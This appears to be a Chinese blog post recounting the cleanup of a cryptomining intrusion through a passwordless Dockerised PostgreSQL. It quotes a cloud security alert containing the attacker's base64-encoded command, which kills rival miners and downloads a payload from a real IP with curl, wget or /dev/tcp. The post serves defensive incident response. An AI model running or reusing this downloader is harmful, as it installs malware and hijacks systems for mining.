今天早上一大早,收到阿里云短信,说我的测试服务器: “存在挖矿活动” 。
1. 问题查看
进入控制台,查看监控,发现CPU 100%了,当时忘记截图了,在安全告警处理列表,出现了几列
图一
图二
图三
2. 问题处理
2.1 杀掉进程
top查看占比高的进程杀掉,过一段时间观察,是否会自己重启(我的杀掉之后,未重启)
2.2 找到程序备份,移除
找到木马文件路径,关键词查询:find / -name 'memfd' ,找到路径:/usr/src/linux-headers-5.15.0-117/tools/testing/...
备份该文件,并移除
2.3 找到漏洞的缺口
根据图三告警详情,发现是通过postgresql进入的攻击,为什么postgresql存在该漏洞呢? 排查发现,docker 安装的postgresql,登录密码未生效,不需要密码也能连接。攻击者通过连接postgresql,进行了木马命令的写入,是典型的 “系统命令注入攻击” ,具体的空了可以好好了解下。以下是阿里云分析的命令记录
数据来源:进程启动触发检测
告警原因:该命令行存在高度可疑的编码特征。
用户名 : lxd
命令行:
sh -c echo "a2lsbCAtOSAkKHBncmVwIHpzdmMpICQocGdyZXAgcGRlZmVuZGVyZCkgJChwZ3JlcCB1cGRhdGVjaGVja2VyZCkgJChwZ3JlcCBraW5zaW5nKSAkKHBncmVwIGtkZXZ0bXBmc2kpOwoKZnVuY3Rpb24gX19jdXJsKCkgewoJcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQoJRE9DPS8ke3BhdGgvLyAvL30KCUhPU1Q9JHtzZXJ2ZXIvLzoqfQoJUE9SVD0ke3NlcnZlci8vKjp9CglbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKCWV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAoJZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKCSh3aGlsZSByZWFkIGxpbmU7IGRvCgkJW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawoJZG9uZSAmJiBjYXQpIDwmMwoJZXhlYyAzPiYtCn0KCmlmIFsgLXggIiQoY29tbWFuZCAtdiBjdXJsKSIgXTsgdGhlbgoJY3VybCAta3NTIDEzMi4xNDguMTQ4LjE5MDo0NTM0OS9pS3RreFJGYmRHR0RaY2lBT1FPSmNJVUxzRWZtV2MgLW8gcG9zdG1hc3RlcgplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgoJd2dldCAtcSAtT3Bvc3RtYXN0ZXIgMTMyLjE0OC4xNDguMTkwOjQ1MzQ5L2lLdGt4UkZiZEdHRFpjaUFPUU9KY0lVTHNFZm1XYwplbHNlCglfX2N1cmwgaHR0cDovLzEzMi4xNDguMTQ4LjE5MDo0NTM0OS9pS3RreFJGYmRHR0RaY2lBT1FPSmNJVUxzRWZtV2MgPiBwb3N0bWFzdGVyIDsKZmk7" | base64 -d | bash 2>&1 | sed -e "s/\x0D//g" 2>&1 2>&1 || exit 0
进程路径:/bin/dash
进程ID:143003
父进程文件路径:/usr/lib/postgresql/12/bin/postgres
父进程ID:142938
进程链: -[30395] /usr/bin/containerd
-[93560] /usr/bin/containerd-shim-runc-v2 -namespace moby -address /run/containerd/containerd.sock -publish-binary /usr/bin/containerd -id 3018dcfe1b9ffbcdf45f11660bbdbe368cf66c551260f8020810acc54ba5fb43 start
-[93569] /usr/bin/containerd-shim-runc-v2 -namespace moby -id 3018dcfe1b9ffbcdf45f11660bbdbe368cf66c551260f8020810acc54ba5fb43 -address /run/containerd/containerd.sock
-[93580] runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v2.task/moby/3018dcfe1b9ffbcdf45f11660bbdbe368cf66c551260f8020810acc54ba5fb43/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/moby/3018dcfe1b9ffbcdf45f11660bbdbe368cf66c551260f8020810acc54ba5fb43 --pid-file /run/containerd/io.containerd.runtime.v2.task/moby/3018dcfe1b9ffbcdf45f11660bbdbe368cf66c551260f8020810acc54ba5fb43/init.pid --console-socket /tmp/pty3908976864/pty.sock 3018dcfe1b9ffbcdf45f11660bbdbe368cf66c551260f8020810acc54ba5fb43
-[93587] runc init
-[93598] runc init
-[93599] postgres
-[142938] postgres
-[143003] sh -c echo "a2lsbCAtOSAkKHBncmVwIHpzdmMpICQocGdyZXAgcGRlZmVuZGVyZCkgJChwZ3JlcCB1cGRhdGVjaGVja2VyZCkgJChwZ3JlcCBraW5zaW5nKSAkKHBncmVwIGtkZXZ0bXBmc2kpOwoKZnVuY3Rpb24gX19jdXJsKCkgewoJcmVhZCBwcm90byBzZXJ2ZXIgcGF0aCA8PDwkKGVjaG8gJHsxLy8vLyB9KQoJRE9DPS8ke3BhdGgvLyAvL30KCUhPU1Q9JHtzZXJ2ZXIvLzoqfQoJUE9SVD0ke3NlcnZlci8vKjp9CglbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKCWV4ZWMgMzw+L2Rldi90Y3AvJHtIT1NUfS8kUE9SVAoJZWNobyAtZW4gIkdFVCAke0RPQ30gSFRUUC8xLjBcclxuSG9zdDogJHtIT1NUfVxyXG5cclxuIiA+JjMKCSh3aGlsZSByZWFkIGxpbmU7IGRvCgkJW1sgIiRsaW5lIiA9PSAkJ1xyJyBdXSAmJiBicmVhawoJZG9uZSAmJiBjYXQpIDwmMwoJZXhlYyAzPiYtCn0KCmlmIFsgLXggIiQoY29tbWFuZCAtdiBjdXJsKSIgXTsgdGhlbgoJY3VybCAta3NTIDEzMi4xNDguMTQ4LjE5MDo0NTM0OS9pS3RreFJGYmRHR0RaY2lBT1FPSmNJVUxzRWZtV2MgLW8gcG9zdG1hc3RlcgplbGlmIFsgLXggIiQoY29tbWFuZCAtdiB3Z2V0KSIgXTsgdGhlbgoJd2dldCAtcSAtT3Bvc3RtYXN0ZXIgMTMyLjE0OC4xNDguMTkwOjQ1MzQ5L2lLdGt4UkZiZEdHRFpjaUFPUU9KY0lVTHNFZm1XYwplbHNlCglfX2N1cmwgaHR0cDovLzEzMi4xNDguMTQ4LjE5MDo0NTM0OS9pS3RreFJGYmRHR0RaY2lBT1FPSmNJVUxzRWZtV2MgPiBwb3N0bWFzdGVyIDsKZmk7" | base64 -d | bash 2>&1 | sed -e "s/\x0D//g" 2>&1 2>&1 || exit 0
容器名:postgresql
容器ID:3018dcfe1b9ffbcdf45f11660bbdbe368cf66c551260f8020810acc54ba5fb43
镜像ID: postgres@sha256:3dc81d3f5988f9e4dda4fa18b769743df01bc4eba3fac2fe60b91a3075f6f4cf
镜像名: postgres:12.10
容器hostname: 3018dcfe1b9f
容器主ip: xxxx
容器视角进程路径: /proc/93599/root/bin/dash
3. 问题分析
// 待完善 TODO